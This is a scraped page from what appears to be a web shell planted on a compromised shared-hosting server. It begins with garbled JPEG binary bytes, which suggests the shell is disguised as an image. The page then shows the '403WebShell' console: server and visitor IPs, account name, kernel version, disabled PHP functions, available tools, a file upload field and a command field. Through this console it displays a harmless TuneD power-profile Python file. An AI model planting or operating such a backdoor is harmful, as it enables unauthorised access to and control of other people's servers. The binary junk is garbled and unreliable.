JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 185.124.137.48  /  Your IP : 216.73.216.217
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/tuned/ppd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/tuned/ppd//config.py
from tuned.utils.config_parser import ConfigParser, Error
from tuned.exceptions import TunedException
import os

PPD_POWER_SAVER = "power-saver"
PPD_BALANCED = "balanced"
PPD_PERFORMANCE = "performance"

MAIN_SECTION = "main"
PROFILES_SECTION = "profiles"
BATTERY_SECTION = "battery"
DEFAULT_PROFILE_OPTION = "default"
BATTERY_DETECTION_OPTION = "battery_detection"
SYSFS_ACPI_MONITOR_OPTION = "sysfs_acpi_monitor"


class ProfileMap:
    """
    Mapping of PPD profiles to TuneD profiles or vice versa.
    """
    def __init__(self, ac_map, dc_map):
        self._ac_map = ac_map
        self._dc_map = dc_map

    def get(self, profile, on_battery):
        """
        Returns a TuneD profile corresponding to the given
        PPD profile and power supply status (or vice versa).
        """
        profile_map = self._dc_map if on_battery else self._ac_map
        return profile_map[profile]

    def keys(self, on_battery):
        """
        Returns the supported PPD or TuneD profiles.
        """
        profile_map = self._dc_map if on_battery else self._ac_map
        return profile_map.keys()


class PPDConfig:
    """
    Configuration for the tuned-ppd daemon.
    """
    def __init__(self, config_file, tuned_interface):
        self._tuned_interface = tuned_interface
        self.load_from_file(config_file)

    @property
    def battery_detection(self):
        """
        Whether battery detection is enabled.
        """
        return self._battery_detection

    @property
    def default_profile(self):
        """
        Default PPD profile to set during initialization.
        """
        return self._default_profile

    @property
    def ppd_to_tuned(self):
        """
        Mapping of PPD profiles to TuneD profiles.
        """
        return self._ppd_to_tuned

    @property
    def tuned_to_ppd(self):
        """
        Mapping of TuneD profiles to PPD profiles.
        """
        return self._tuned_to_ppd

    @property
    def sysfs_acpi_monitor(self):
        """
        Whether to react to changes of ACPI platform profile
        done via function keys (e.g., Fn-L) on newer Thinkpad
        machines. Experimental feature.
        """
        return self._sysfs_acpi_monitor

    def load_from_file(self, config_file):
        """
        Loads the configuration from the provided file.
        """
        cfg = ConfigParser()

        if not os.path.isfile(config_file):
            raise TunedException("Configuration file '%s' does not exist" % config_file)
        try:
            cfg.read(config_file)
        except Error:
            raise TunedException("Error parsing the configuration file '%s'" % config_file)

        if PROFILES_SECTION not in cfg:
            raise TunedException("Missing profiles section in the configuration file '%s'" % config_file)
        profile_dict_ac = dict(cfg[PROFILES_SECTION])

        if PPD_POWER_SAVER not in profile_dict_ac:
            raise TunedException("Missing power-saver profile in the configuration file '%s'" % config_file)

        if PPD_BALANCED not in profile_dict_ac:
            raise TunedException("Missing balanced profile in the configuration file '%s'" % config_file)

        if PPD_PERFORMANCE not in profile_dict_ac:
            raise TunedException("Missing performance profile in the configuration file '%s'" % config_file)

        if MAIN_SECTION not in cfg or DEFAULT_PROFILE_OPTION not in cfg[MAIN_SECTION]:
            self._default_profile = PPD_BALANCED
        else:
            self._default_profile = cfg[MAIN_SECTION][DEFAULT_PROFILE_OPTION]

        if self._default_profile not in profile_dict_ac:
            raise TunedException("Default profile '%s' missing in the profile mapping" % self._default_profile)

        self._battery_detection = cfg.getboolean(MAIN_SECTION, BATTERY_DETECTION_OPTION, fallback=BATTERY_SECTION in cfg)

        if self._battery_detection and BATTERY_SECTION not in cfg:
            raise TunedException("Missing battery section in the configuration file '%s'" % config_file)

        profile_dict_dc = profile_dict_ac | dict(cfg[BATTERY_SECTION]) if self._battery_detection else profile_dict_ac

        # Make sure all of the TuneD profiles specified in the configuration file actually exist
        unknown_tuned_profiles = (set(profile_dict_ac.values()) | set(profile_dict_dc.values())) - set(self._tuned_interface.profiles())
        if unknown_tuned_profiles:
            raise TunedException("Unknown TuneD profiles in the configuration file: " + ", ".join(unknown_tuned_profiles))

        # Make sure there are no PPD profiles appearing in the battery section which are not defined before
        unknown_battery_profiles = set(profile_dict_dc.keys()) - set(profile_dict_ac.keys())
        if unknown_battery_profiles:
            raise TunedException("Unknown PPD profiles in the battery section: " + ", ".join(unknown_battery_profiles))

        # Make sure the profile mapping is injective so it can be reverted
        if len(set(profile_dict_ac.values())) != len(profile_dict_ac) or len(set(profile_dict_dc.values())) != len(profile_dict_dc):
            raise TunedException("Duplicate profile mapping in the configuration file '%s'" % config_file)

        self._ppd_to_tuned = ProfileMap(profile_dict_ac, profile_dict_dc)
        self._tuned_to_ppd = ProfileMap({v: k for k, v in profile_dict_ac.items()}, {v: k for k, v in profile_dict_dc.items()})

        self._sysfs_acpi_monitor = cfg.getboolean(MAIN_SECTION, SYSFS_ACPI_MONITOR_OPTION, fallback=True)

Youez - 2016 - github.com/yon3zu
LinuXploit